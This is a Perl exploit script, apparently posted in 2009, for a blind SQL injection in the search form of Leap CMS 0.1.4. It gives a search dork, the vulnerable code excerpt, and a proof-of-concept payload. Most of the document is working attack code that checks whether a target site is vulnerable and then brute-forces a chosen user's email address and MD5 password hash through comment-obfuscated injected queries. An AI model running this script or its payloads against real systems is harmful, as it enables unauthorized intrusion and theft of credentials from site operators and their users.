leapcms-sql.txt
Posted on 01 May 2009
#!/usr/bin/perl #*********************************************************************************************** #*********************************************************************************************** #** ** #** ** #** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] ** #** || || || [] [][] [] [] [] [] [] [] [] [] [] [] ** # [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] ** #** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\n#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>-- #** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ # [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] #** ** #** ** #** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ** #** ¡PROUD TO BE SPANISH! ** #** ** #*********************************************************************************************** #*********************************************************************************************** # #---------------------------------------------------------------------------------------------- #| (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT | #|--------------------------------------------------------------------------------------------| #| | Leap CMS 0.1.4 | | #| CMS INFORMATION: --------------------- | #| | #|-->WEB: http://leap.gowondesigns.com/ | #|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip | #|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap | #|-->CATEGORY: CMS / Lite | #|-->DESCRIPTION: Leap is a single file, template independent, open-source, | #| standards-compliant,extensible content management system for the web... | #|-->RELEASED: 2009-03-13 | #| | #| CMS VULNERABILITY: | #| | #|-->TESTED ON: firefox 3 | #|-->DORK: "Powered by Leap" | #|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT | #|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?) | #|-->Discovered Bug date: 2009-04-25 | #|-->Reported Bug date: 2009-04-25 | #|-->Fixed bug date: Not fixed | #|-->Info patch (????): Not fixed | #|-->Author: YEnH4ckEr | #|-->mail: y3nh4ck3r[at]gmail[dot]com | #|-->WEB/BLOG: N/A | #|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. | #|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | #---------------------------------------------------------------------------------------------- # #----------- #BUG FILE: #----------- # #Path --> [HOME_PATH]/leap.php # # # #function contentSearch() { # # ... # # #if($searchterm=='') return FALSE; # # ... # # if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search); <-------BYPASSED (/**/) # # $keywords = explode(' ', $search); //print_r($keywords); <---------BYPASSED (/**/) # # ... # # $query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND"; <----------START QUERY # # if ($keyCount > 1) { # # ... # # } # else { # # $query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";} <--------INJECTION HERE # $pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query; # # ... # # } # #} # #------------ #CONDITIONS: #------------ # #**gpc_magic_quotes=off # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1# # #Return: Search for 'a' # ####################################################################### ####################################################################### ##*******************************************************************## ## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: JosS and all SPANISH Hack3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit"); system ("color 04"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(POST => $_[0]); $request->content_type('application/x-www-form-urlencoded'); $request->content($_[1]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print " [<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit "; print " [<-->] USAGE MODE: [<-->] "; print " [<-->] perl $0 [HOST] [PATH] [Search] [Id] "; print " [<-->] [HOST]: Web. "; print " [<-->] [PATH]: Home Path. "; print " [<-->] [Search]: Something. Default: a (**optional) "; print " [<-->] [id]: Id user. Default: 1 (**optional) "; print " [<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1' "; } sub lengthuser{ #First, user length... $exit=0; $i=0; while($exit==0){ my $searchinjected="searchterm=".$_[2]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=".$_[1].")=".$i++."#"; #injected code $output=&request($_[0],$searchinjected); if ( $output =~ (/No Results Found./)) { $exit=0; }else{ $exit=1; } } #Save column length $lengthuser=$i-1; print " <<<<<--------------------------------------------------------->>>>> "; print " User Length catched! "; print " User Length: ".$lengthuser." "; print " Bruteforcing values... "; print " <<<<<--------------------------------------------------------->>>>> "; return $lengthuser; } sub bruteforcing { my $values=""; #Getting datas $j=1; $i=46; while(($j<=$_[2]) && ($i<=126)){ my $searchinjected="searchterm=".$_[4]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/".$_[3]."/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$_[1]."'),".$j.",1))=".$i."#"; #injected code $output=&request($_[0],$searchinjected); if ( $output !~ (/No Results Found./)) { $values=$values.chr($i); $j++; $i=45; } if($i==57) { $i=63; #@ } if($i==64) { $i=96; } #new char $i++; } #Error if(($i>127) || ($j>$_[2])){ if(!$values){ print " <<<<<--------------------------------------------------------->>>>> "; print " EXPLOIT FAILED! "; print " Fatal error: Datas doesn't find! "; print " Cause: Maybe you have to include more characters on bruteforcing... "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); } } return $values; } #Main &lw; print " ####################################################### "; print " ####################################################### "; print " ## Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit ## "; print " ## ++Conditions: Need magic_quotes=off ## "; print " ## Author: Y3nh4ck3r ## "; print " ## Contact:y3nh4ck3r[at]gmail[dot]com ## "; print " ## Proud to be Spanish! ## "; print " ####################################################### "; print " ####################################################### "; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; #Build the uri my $finalhost="http://".$host."/".$path."/index.php?search"; #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=1) { &helper; exit(1); } #Search parameter. It's optional. Default:a if(!$ARGV[2]){ $search="a"; }else{ $search=$ARGV[2]; } #Id-user is optional.Default:1 if(!$ARGV[3]){ $idhacked="1"; }else{ $idhacked=$ARGV[3]; } #Testing blind sql injection my $finalrequest = $finalhost; #Test blind sql injection my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#"; #injected code $output=&request($finalrequest, $searchinjected); if ( $output =~ (/No Results Found./)) { print " <<<<<--------------------------------------------------------->>>>> "; print " This Web is not vulnerable! "; print " --->Maybe: "; print " 1.-Patched or gpc_magic_quotes=off "; print " 2.-Search parameter hasn't found. Try other! "; print " EXPLOIT FAILED! "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); }else{ print " <<<<<--------------------------------------------------------->>>>> "; print " Web is vulnerable! "; print " Tested Blind SQL Injection. "; print " Checking id user... "; print " <<<<<--------------------------------------------------------->>>>> "; } #Test if user exists my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$idhacked."')#"; #injected code $output=&request($$finalrequest,$searchinjected); if ( $output =~ (/No Results Found./)) { print " <<<<<--------------------------------------------------------->>>>> "; print " User doesn't exists! "; print " EXPLOIT FAILED! "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); }else{ print " <<<<<--------------------------------------------------------->>>>> "; print " OK...The user exists! "; print " Starting exploit... "; print " <<<<<--------------------------------------------------------->>>>> "; print " Wait several minutes... "; print " <<<<<--------------------------------------------------------->>>>> "; } #Bruteforcing user... $length_mail=&lengthuser($finalrequest,$idhacked,$search); $email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search); if(length($email)!=$length_mail) { print " <<<<<--------------------------------------------------------->>>>> "; print " EXPLOIT FAILED! "; print " Fatal error: Different length email! "; print " Cause: Maybe you have to include more characters on bruteforcing... "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); } print " <<<<<--------------------------------------------------------->>>>> "; print " Got user! "; print " Bruteforcing password hash (md5)... "; print " <<<<<--------------------------------------------------------->>>>> "; #Bruteforcing password... $passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length print " ************************************************* "; print " **** EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) **** "; print " ************************************************* "; print " User-id:".$idhacked." "; print " E-mail:".$email." "; print " User-password(hash):".$passhash." "; print " <<----------------------FINISH!-------------------->> "; print " <<---------------Thanks to: y3hn4ck3r-------------->> "; print " <<------------------------EOF---------------------->> "; exit(1); #Ok...all job done
